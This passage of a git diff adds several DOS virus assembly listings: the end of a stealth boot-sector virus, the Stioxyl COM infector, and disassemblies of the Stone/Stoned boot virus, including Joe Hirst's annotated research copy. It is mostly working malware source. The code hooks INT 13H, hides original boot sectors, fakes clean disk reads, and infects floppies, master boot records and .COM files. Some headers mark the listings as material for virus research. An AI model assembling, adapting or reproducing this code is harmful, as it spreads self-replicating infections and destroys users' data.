;number of bytes to move in cx + rep movsb ;fill buffer with 0's + + clc ;clear c, fake read successful + pushf ;then restore everyting properly + pop ax ;first set flag register + mov ss:[bp+20],ax ;as stored on the stack + pop bp ;and pop all registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 + dec cl + sub bx,512 + iret ;and get out + +RB15: ;read next sectors on floppy + pushf ;call BIOS to + call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs) + push ax + push bp + mov bp,sp + pushf ;use c flag from BIOS call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc RB2 ;if error, return ah from 2nd rd + sub bx,512 ;else restore registers so + dec cl ;it looks as if only one read + pop bp ;was performed + pop ax + pop ax ;and exit with ah=0 to indicate + mov ah,0 ;successful read + iret + +RB2: pop bp ;error on 2nd read + pop ax ;so clean up stack + add sp,2 ;and get out + iret + +RB_EXIT: ;exit from single sector read + mov ax,ss:[bp+18] ;set the c flag on the stack + push ax ;to indicate successful read + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret ;and get out + +RB_GOON: ;This passes control to BIOS + pop bp ;for uninfected disks + pop es ;just restore all registers to + pop ds ;their original values + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go jump to BIOS + + +;******************************************************************************* +;This table identifies where the original boot sector is located for each +;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect +;boot sector reads and writes. + +BOOT_SECTOR_LOCATION: + DB 40,1,6 ;Track, head, sector, 360K drive + DB 80,1,6 ;1.2M drive + DB 79,1,9 ;720K drive + DB 79,1,18 ;1.44M drive + DB 0,0,7 ;Hard drive + + +;******************************************************************************* +;This routine handles writing the boot sector for all disks. It checks to see +;if the disk has been infected, and if not, allows BIOS to handle the write. +;If the disk is infected, this routine redirects the write to put the boot +;sector being written in the reserved area for the original boot sector. It +;must also handle the writing of multiple sectors properly, just as READ_BOOT +;did. + +WRITE_BOOT: + push ax ;save everything we might change + push bx + push cx + push dx + push ds + push es + push bp + mov bp,sp + + push cs ;ds=es=cs + pop ds + push cs + pop es + + mov al,dl + call GET_BOOT_SEC ;read the real boot sector + jnc WB01 + call GET_BOOT_SEC ;do it again if first failed + jnc WB01 + jmp WB_GOON ;error on read, let BIOS take it +WB01: call IS_VBS ;else, is disk infected? + jz WB02 ;yes + jmp WB_GOON ;no, let ROM BIOS write sector +WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START) + mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86 + + mov al,BYTE PTR [bx] + cmp al,80H ;infected, so redirect the write + jnz WB1 + mov al,4 ;make an index of the drive type +WB1: mov bl,3 + mul bl + add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry + mov bx,ax + mov ch,[bx] ;get the location of original + mov dh,[bx+1] ;boot sector on disk + mov cl,[bx+2] ;prepare for the write + mov dl,ss:[bp+6] + mov bx,ss:[bp+10] + mov ax,ss:[bp+2] + mov es,ax + mov ax,301H + pushf + call DWORD PTR [OLD_13H] ;and do it + sti + mov dl,ss:[bp+6] + cmp dl,80H ;was write going to hard drive? + jnz WB_15 ;no + mov BYTE PTR [DR_FLAG],80H ;yes, update partition info + push si + push di + mov di,OFFSET PART ;just move it from sec we just + mov si,ss:[bp+10] ;wrote into the viral boot sec + add si,OFFSET PART + sub si,OFFSET BOOT_START + push es + pop ds + push cs + pop es ;switch ds and es around + mov cx,20 + rep movsw ;and do the move + push cs + pop ds + mov ax,301H + mov bx,OFFSET BOOT_START + mov cx,1 ;Track 0, Sector 1 + mov dx,80H ;drive 80H, Head 0 + pushf ;go write updated viral boot sec + call DWORD PTR [OLD_13H] ;with new partition info + pop di ;clean up + pop si + +WB_15: mov al,ss:[bp+12] + cmp al,1 ;was write more than 1 sector? + jz WB_EXIT ;if not, then exit + +WRITE_1NEXT: ;more than 1 sector + mov dl,ss:[bp+6] ;see if it's the hard drive + cmp dl,80H + jz WB_EXIT ;if so, ignore rest of the write + pop bp ;floppy drive, go write the rest + pop es ;as a second call to BIOS + pop ds + pop dx + pop cx ;restore all registers + pop bx + pop ax + add bx,512 ;and modify a few to + push ax ;drop writing the first sector + dec al + inc cl + pushf + call DWORD PTR cs:[OLD_13H] ;go write the rest + sti + push ax + push bp + mov bp,sp + pushf ;use c flag from call + pop ax ;to set c flag on the stack + mov ss:[bp+10],ax + jc WB2 ;an error + ;so exit with ah from 2nd int 13 + sub bx,512 + dec cl + pop bp + pop ax + pop ax ;else exit with ah=0 + mov ah,0 ;to indicate success + iret + +WB2: pop bp ;exit with ah from 2nd + pop ax ;interrupt + add sp,2 + iret + + +WB_EXIT: ;exit after 1st write + mov ax,ss:[bp+18] ;set carry on stack to indicate + push ax ;a successful write operation + popf + clc + pushf + pop ax + mov ss:[bp+18],ax + pop bp ;restore all registers and exit + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + mov ah,0 + iret + +WB_GOON: ;pass control to ROM BIOS + pop bp ;just restore all registers + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp I13R ;and go do it + + +;******************************************************************************* +;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected, +;then instead of reading the true data there, return a block of 0's, since +;0 is the data stored in a freshly formatted but unused sector. This will +;fake the caller out and keep him from knowing that the virus is hiding there. +;If the disk is not infected, return the true data stored in those sectors. + +READ_HARD: + call CHECK_DISK ;see if disk is infected + jnz RWH_EX ;no, let BIOS handle the read + push ax ;else save registers + push bx + push cx + push dx + push si + push di + push ds + push bp + mov bp,sp + mov BYTE PTR es:[bx],0 ;zero the first byte in the blk + push es + pop ds + mov si,bx ;set up es:di and ds:si + mov di,bx ;for a transfer + inc di + mov ah,0 ;ax=number of sectors to read + mov bx,512 ;bytes per sector + mul bx ;number of bytes to read in ax + mov cx,ax + dec cx ;number of bytes to move + rep movsb ;do fake read of all 0's + + mov ax,ss:[bp+20] ;now set c flag + push ax ;to indicate succesful read + popf + clc + pushf + pop ax + mov ss:[bp+20],ax + + pop bp ;restore everything and exit + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ah,0 ;set to indicate successful read + iret + +RWH_EX: jmp I13R ;pass control to BIOS + + +;******************************************************************************* +;Handle writes to hard disk Track 0, Head 0, 1 findfirst file + ; in the new location +restore_dir: + +mov ah,3bh ; restore directory +lea dx,[bp+code_end+2ch] ; from where we was executed +int 21h ; and.. + +no_more_files: ; + +mov dx,80 ; set the dta to 80h (default) +mov ah,1ah +int 21h +quit: ; + +mov di,100 ; return control to original program +push di ; +ret + +infect: + +lea dx,[bp+code_end+1eh] ; 1e = adress to filename in ds:dx in our + ; new dta area! +dirinfect: + +mov ax,4301h ; set attributes +xor cx,cx ; to nothing +int 21h + +open_file: + +mov ax,3d02h ; open file +int 21 ; in read/write mode + +jnc infect_it ; if the file \dos\edit.com doesnt exist +ret ; return, and search first comfile + +infect_it: + +xchg bx,ax ; filehandle in bx + +mov ax,5700 ; get time/date +int 21 + +push dx ; save date +push cx ; save time + +mov ah,3f ; read the first three bytes +mov cx,3 ; of the file to org_buf +lea dx,[bp+org_buf] +int 21 + +mov ax,word ptr [bp+code_end+16h] ; get file-time +and al,00011111b +cmp al,00010101b ; sec = 10? +je finish_infect ; assume previous infection + +cmp byte ptr [bp+org_buf+1],0F7h ; dosedit.com after +jz finish_infect ; first infection + +cmp byte ptr [bp+org_buf+1],6Dh ; command.com +jz finish_infect ; + +mov ax, word ptr [bp+code_end+1ah] ; virus size * 2 +cmp ax,786d ; +jb finish_infect + +cmp ax,65143d ; 1024 * 64 - virus size +ja finish_infect ; + +mov ax,4202 ; move file-pointer +xor cx,cx ; to end of file +cwd +int 21 + +sub ax,3 ; substract bytes +mov word ptr [bp+first_three+1],ax ; to our own jump + +get_value: + +mov ah,2ch ; get system clock for +int 21h ; 1/100 of a second +jz get_value ; if zero = get new value +mov word ptr [bp+encrypt_value],dx ; otherwise, use as enc value +call write_virus ; write virus to end of file + +mov ax,4200 ; move file-pointer to +xor cx,cx ; top of file +cwd +int 21 + +mov ah,40 ; write our own jump +mov cx,3 ; instruction to the +lea dx,[bp+first_three] ; beginning +int 21 + +finish_infect: + +mov ax,5701h ; set back +pop cx ; time +pop dx ; date +and cl,11100000b ; but alter the +or cl,00010101b ; second value +int 21h ; + +mov ah,3eh ; close file +int 21 + +mov ax,4301h ; set back the original file attributes +xor ch,ch ; stamp, on the files we altered +lea dx,[bp+code_end+1eh] ; +mov cl,byte ptr [bp+code_end+15h] +int 21h + +ret ; return and continue! + +v_name db "[Stioxyl] (c) '94 The Unforgiven/Immortal Riot" + +direct_infect db '\DOS\EDIT.COM',0 + +com_files db '*.com',0 +ch_dir db '..',0 ; dot-dot to change directory +first_three db 0e9,90,90 ; buffer to calculate a new entry +org_buf db 90,0CDh,20 ; buffer to save first three bytes in + +enc_end: +code_end: +end start diff --git a/s/STND.ASM b/s/STND.ASM new file mode 100755 index 0000000..e28b5cb --- /dev/null +++ b/s/STND.ASM @@ -0,0 +1,247 @@ + +PAGE 59,132 + +; +; +; STONE +; +; Created: 1-Jan-80 +; Passes: 5 Analysis Options on: none +; +; + +d_0000_004C_e equ 4Ch +d_0000_004E_e equ 4Eh +main_ram_size_ equ 413h +timer_low_ equ 46Ch +d_0000_7C00_e equ 7C00h ;* +d_0000_7C0A_e equ 7C0Ah ;* +d_0000_7C0C_e equ 7C0Ch ;* +d_0000_7C10_e equ 7C10h ;* +data_0000_e equ 0 +data_0008_e equ 8 +data_0009_e equ 9 +data_000A_e equ 0Ah +data_000E_e equ 0Eh +data_0012_e equ 12h +data_03E0_e equ 3E0h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +stone proc far + +start: +;* jmp far ptr l_07C0_0005 ;* + db 0EAh, 05h, 00h,0C0h, 07h + jmp loc_01C1 + db 00h, 00h, 00h, 00h, 00h, 00h + db 04h, 01h, 00h, 00h, 00h, 7Ch + db 00h, 00h, 1Eh, 50h, 80h,0FCh + db 02h, 72h, 18h, 80h,0FCh, 04h + db 73h, 13h, 80h,0FAh, 00h, 75h + db 0Eh, 33h,0C0h, 8Eh,0D8h,0A0h + db 40h, 04h, 0Ah,0C0h, 75h, 03h + db 0E8h, 07h, 00h + db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah + db 00h + db 53h, 51h, 52h, 06h, 56h, 57h + db 0BEh, 04h, 00h +loc_0145: + mov ax,201h + push cs + pop es + mov bx,200h + mov cx,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e + jnc loc_0168 ; Jump if carry=0 + xor ax,ax ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e + dec si + jnz loc_0145 ; Jump if not zero + jmp short loc_01A5 + db 90h +loc_0168: + xor si,si ; Zero register + mov di,200h + mov ax,es:[si] + cmp ax,es:[di] + jne loc_0182 ; Jump if not equal + mov ax,es:[si+2] + cmp ax,es:[di+2] + jne loc_0182 ; Jump if not equal + jmp short loc_01A5 + db 90h +loc_0182: + mov ax,301h + mov bx,200h + mov cx,3 + mov dx,100h + pushf ; Push flags + call dword ptr cs:data_000A_e + jc loc_01A5 ; Jump if carry Set + mov ax,301h + xor bx,bx ; Zero register + mov cl,1 + xor dx,dx ; Zero register + pushf ; Push flags + call dword ptr cs:data_000A_e +loc_01A5: + pop di + pop si + pop es + pop dx + pop cx + pop bx + retn + +stone endp + +; +; SUBROUTINE +; + +sub_01AC proc near +loc_01AC: + mov al,cs:[bx] + inc bx + cmp al,0 + jne loc_01B5 ; Jump if not equal + retn +loc_01B5: + push ax + push bx + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + pop bx + pop ax + jmp short loc_01AC +sub_01AC endp + +loc_01C1: + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; Enable interrupts + mov ax,ds:d_0000_004C_e + mov ds:d_0000_7C0A_e,ax + mov ax,ds:d_0000_004E_e + mov ds:d_0000_7C0C_e,ax + mov ax,ds:main_ram_size_ + dec ax + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + mov ds:d_0000_7C10_e,ax + mov ax,16h + mov ds:d_0000_004C_e,ax + mov ds:d_0000_004E_e,es + mov cx,1E0h + push cs + pop ds + xor si,si ; Zero register + mov di,si + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + jmp dword ptr cs:data_000E_e + mov ax,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + xor ax,ax ; Zero register + mov es,ax + mov ax,201h + mov bx,d_0000_7C00_e + cmp byte ptr cs:data_0008_e,0 + je loc_0226 ; Jump if equal + mov cx,2 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0266 + db 90h +loc_0226: + mov cx,3 + mov dx,100h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + test byte ptr es:timer_low_,7 + jnz loc_023E ; Jump if not zero + mov bx,1B2h + call sub_01AC +loc_023E: + push cs + pop es + mov ax,201h + mov bx,200h + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + push cs + pop ds + mov si,200h + mov di,data_0000_e + mov ax,[si] + cmp ax,[di] + jne loc_0277 ; Jump if not equal + mov ax,[si+2] + cmp ax,[di+2] + jne loc_0277 ; Jump if not equal +loc_0266: + mov byte ptr cs:data_0008_e,0 + mov byte ptr cs:data_0009_e,0 + jmp dword ptr cs:data_0012_e +loc_0277: + mov byte ptr cs:data_0008_e,2 + mov byte ptr cs:data_0009_e,0 + mov ax,301h + mov bx,200h + mov cx,2 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jc loc_0266 ; Jump if carry Set + push cs + pop ds + push cs + pop es + mov si,data_03E0_e + mov di,1E0h + mov cx,0FDE0h + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,301h + mov bx,data_0000_e + mov cx,1 + mov dx,80h + int 13h ; Disk dl=drive 0 ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jmp short loc_0266 + db 7 + db 'I am Andrew Dice Clay!' + db 07h, 0Dh, 0Ah, 0Ah, 00h + db 'So, BLOW ME....Hey!' + +seg_a ends + + + + end start diff --git a/s/STONE.ASM b/s/STONE.ASM new file mode 100755 index 0000000..7a37d49 --- /dev/null +++ b/s/STONE.ASM @@ -0,0 +1,283 @@ +; +; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; +; : British Computer Virus Research Centre : +; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : +; : Telephone: Domestic 0273-26105, International +44-273-26105 : +; : : +; : The 'New Zealand' Virus : +; : Disassembled by Joe Hirst, November 1988 : +; : : +; : Copyright (c) Joe Hirst 1988, 1989. : +; : : +; : This listing is only to be made available to virus researchers : +; : or software writers on a need-to-know basis. : +; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM< + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector two on a hard disk. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 440H +BB0440 DB ? ; Motor timeout counter + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) +DUMMY DB 0 + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW 0 + DW 0 + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + CMP DL,0 ; Is drive A + JNE BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB0440 ; Get motor timeout counter + OR AL,AL ; Test for zero + JNE BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + MOV CX,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNE BP0050 ; Retry + JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + MOV AX,ES:[SI] ; Get first word + CMP AX,ES:[DI] ; Test if same + JNE BP0070 ; Install if not + MOV AX,ES:[SI+2] ; Get second word + CMP AX,ES:[DI+2] ; Test if same + JNE BP0070 ; Install if not + JMP BP0080 ; Pass on + +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Head 1, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Display message + +BP0090: MOV AL,CS:[BX] ; Get next message byte + INC BX ; Update pointer + CMP AL,0 ; Test for end of message + JNE BP0100 ; Branch to display + RET + +BP0100: PUSH AX + PUSH BX + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + POP BX + POP AX + JMP SHORT BP0090 ; Process next byte + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REPZ MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV BX,OFFSET MESSAGE ; Load message address + CALL BP0090 ; Display message +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + MOV AX,[SI] ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + MOV AX,[SI+2] ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + MOV DUMMY,0 + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV DUMMY,0 + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET ENDADR+200H ; Target offset + MOV DI,OFFSET ENDADR ; Source offset + MOV CX,OFFSET ENDADR-400H ; Length to move + REPZ MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + MOV BX,0 ; Write this sector + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP SHORT BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0 + DB 'Neither does your computer' + +ENDADR EQU $-1 + +CODE ENDS + + END START + + diff --git a/s/STONED.ASM b/s/STONED.ASM new file mode 100755 index 0000000..fa00ce3 --- /dev/null +++ b/s/STONED.ASM @@ -0,0 +1,533 @@ +TITLE STONBOOT 1-4-80 [5-12-90] + +PAGE 27,132 + +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in reasonable hands! +; +; This is a boot sector virus, and an extremely tiny one. It occupies only a +; single sector. On a diskette, it resides in the boot sector, and on a hard +; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch +; diskette by copying the real boot sector to side 1, track 0, sector 3. This +; is the last sector used by the directory, and is usually not used. If the +; directory ever does expand into this area, then the real boot sector will be +; trashed, and the diskette will no longer be bootable. Once the boot sector +; is copied to the directory area, this code goes into the boot sector space +; at side 0, track 0, sector 1. The system is then transferred to the diskette +; and the diskette contains an activated virus. Once this diskette is used to +; boot up a system, it will become resident and infect other diskettes it +; sees. If the system contains a hard drive, it too will become infected. +; +; This virus does not contain any time bomb, but it can cause loss of data by +; wrecking a directory here or there. +;***************************************************************************** + + +LF EQU 0AH +CR EQU 0DH + +XSEG SEGMENT AT 07C0h + ORG 5 +NEWSEG LABEL FAR +XSEG ENDS + +CODE SEGMENT + ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE + ORG 0 + + +;***************************************************************************** +; Execution begins here as a boot record. This means that its location and +; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only +; a change in CS:IP so that CS is 07C0. The following two JMPs, and the +; segment definition of XSEG above are best not tampered with. +;***************************************************************************** + + + JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it + +;The above line will jump to here, with a CS of 07C0 and an IP of 5 + + JMP JPBOOT ;Jump here at boot up time + + +;***************************************************************************** +; The following offsets: +; D_TYPE +; O_13_O +; O_13_S +; J_AD_O +; J_AD_S +; BT_ADD +; will be used to access their corresponding variables throughout the code. +; They will vary in different parts of the code, since the code relocates +; itself and the values in the segment registers will change. The actual +; variables are defined with a leading underscore, and should not be used. As +; the segment registers, and the offsets used to access them, change in the +; code, the offsets will be redefined with "=" operators. At each point, the +; particular segment register override needed to access the variables will be +; given. +; +; In this area, the variables should be accessed with the CS: segment override. +;****************************************************************************** + +D_TYPE = $ ;The type of disk we are booting from +_D_TYPE DB 0 + +OLD_13 EQU $ +O_13_O = $ ;Old INT 13 vector offset +_O_13_O DW ? + +O_13_S = $ ;Old INT 13 vector segment +_O_13_S DW ? + +JMP_ADR EQU $ +J_AD_O = $ ;Offset of the jump to relocated code +_J_AD_O DW OFFSET HI_JMP + +J_AD_S = $ ;Segment of the jump to the relocated code +_J_AD_S DW ? + + +BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector +_BT_ADD DW 7C00h ;Boot address segment + DW 0000h ;Boot address offset + + + +;********************************************************** +; The INT 13H vector gets hooked to here +;********************************************************** + +NEW_13: PUSH DS + PUSH AX + CMP AH,2 + JB REAL13 ;Restore regs & do real INT 13H + + CMP AH,4 + JNB REAL13 ;Restore regs & do real INT 13H + +;***************************************************************** +; We only get here for service 2 or 3 - Disk read or write +;***************************************************************** + + OR DL,DL + JNZ REAL13 ;Restore regs & do real INT 13H + +;***************************************************************** +; And we only get here if it's happening to drive A: +;***************************************************************** + + XOR AX,AX + MOV DS,AX + MOV AL,DS:43FH + TEST AL,1 ;Check to see if drive motor is on + JNZ REAL13 ;Restore regs & do real INT 13H + +;****************************************************************** +; We only get here if the drive motor is on. +;****************************************************************** + + CALL INFECT ;Try to infect the disk + +;****************************************************************** +; Restore regs & do real INT 13H +;****************************************************************** + +REAL13: POP AX + POP DS + JMP DWORD PTR CS:OLD_13 + + + +;************************************************************** +;*** See if we can infect the disk *** +;************************************************************** + +INFECT PROC NEAR + + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ;We'll try up to 4 times to read it + +;*************************************************************** +; Loop to try reading disk sector +;*************************************************************** + +RDLOOP: MOV AX,201H ;Read one sector... + PUSH CS + POP ES + MOV BX,200H ;...into a space at the end of the code + XOR CX,CX + MOV DX,CX ;Side 0, drive A + INC CX ;Track 0, sector 1 + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do the old INT 13 + + JNB RD_OK ;Disk read was OK + + XOR AX,AX + PUSHF + CALL DWORD PTR CS:OLD_13 ;Reset disk + + DEC SI ;Bump the counter + JNZ RDLOOP ;Loop to try reading disk sector + JMP SHORT QUIT ;Close up and return if all 4 tries failed + + NOP + +;****************************************************************************** +; Here if disk read was OK. We got the boot sector. But is it already infected? +; Find out by comparing the first 4 bytes of the boot sector to the first 4 +; bytes of this code. If they don't match exactly, infect the diskette. +;****************************************************************************** + +RD_OK: XOR SI,SI + MOV DI,200H + CLD + PUSH CS + POP DS + LODSW + CMP AX,[DI] + JNZ HIDEIT ;Hide floppy boot sector in directory + + LODSW + CMP AX,[DI+2] + JZ QUIT ;Close up and return + +;************************************************************ +; Infect - Hide floppy boot sector in directory +;************************************************************ + +HIDEIT: MOV AX,301H ;Write 1 sector + MOV BX,200H ;From the space at the end of this code + MOV CL,3 ;To sector 3 + MOV DH,1 ;Side 1 + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do the old INT 14 + JB QUIT ;Close up and return if failed + +;****************************************************************** +; If write was sucessful, write this code to the boot sector area +;****************************************************************** + + MOV AX,301H ;Write 1 sector ... + XOR BX,BX ;...of this very code... + MOV CL,1 ;...to sector 1... + XOR DX,DX ;...of Side 0, drive A + PUSHF + CALL DWORD PTR CS:OLD_13 ;Do an old INT 13 + +; ***NOTE*** no test has been done for a sucessful write. + +;*************************************************************** +; Close up and return +;*************************************************************** + +QUIT: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +INFECT ENDP + + + + + +;**************************************************************** +;*** Jump here at boot up time +;**************************************************************** + + + + +;***************************************************************************** +; Redefine the variable offsets. The code here executes in the memory area +; used by the normal boot sector. The variable offsets have an assembled +; value of the order 7Cxx. Access them here through the DS: segment override +;***************************************************************************** + + +D_TYPE = 07C00h + OFFSET _D_TYPE +O_13_O = 07C00h + OFFSET _O_13_O +O_13_S = 07C00h + OFFSET _O_13_S +J_AD_O = 07C00h + OFFSET _J_AD_O +J_AD_S = 07C00h + OFFSET _J_AD_S +BT_ADD = 07C00h + OFFSET _BT_ADD + + + +JPBOOT: XOR AX,AX + MOV DS,AX ;DS = 0 + +;********************************************************* +; Set up a usable stack +;********************************************************* + + CLI + MOV SS,AX ;SS = 0 + MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00 + STI + +;********************************************************* +; 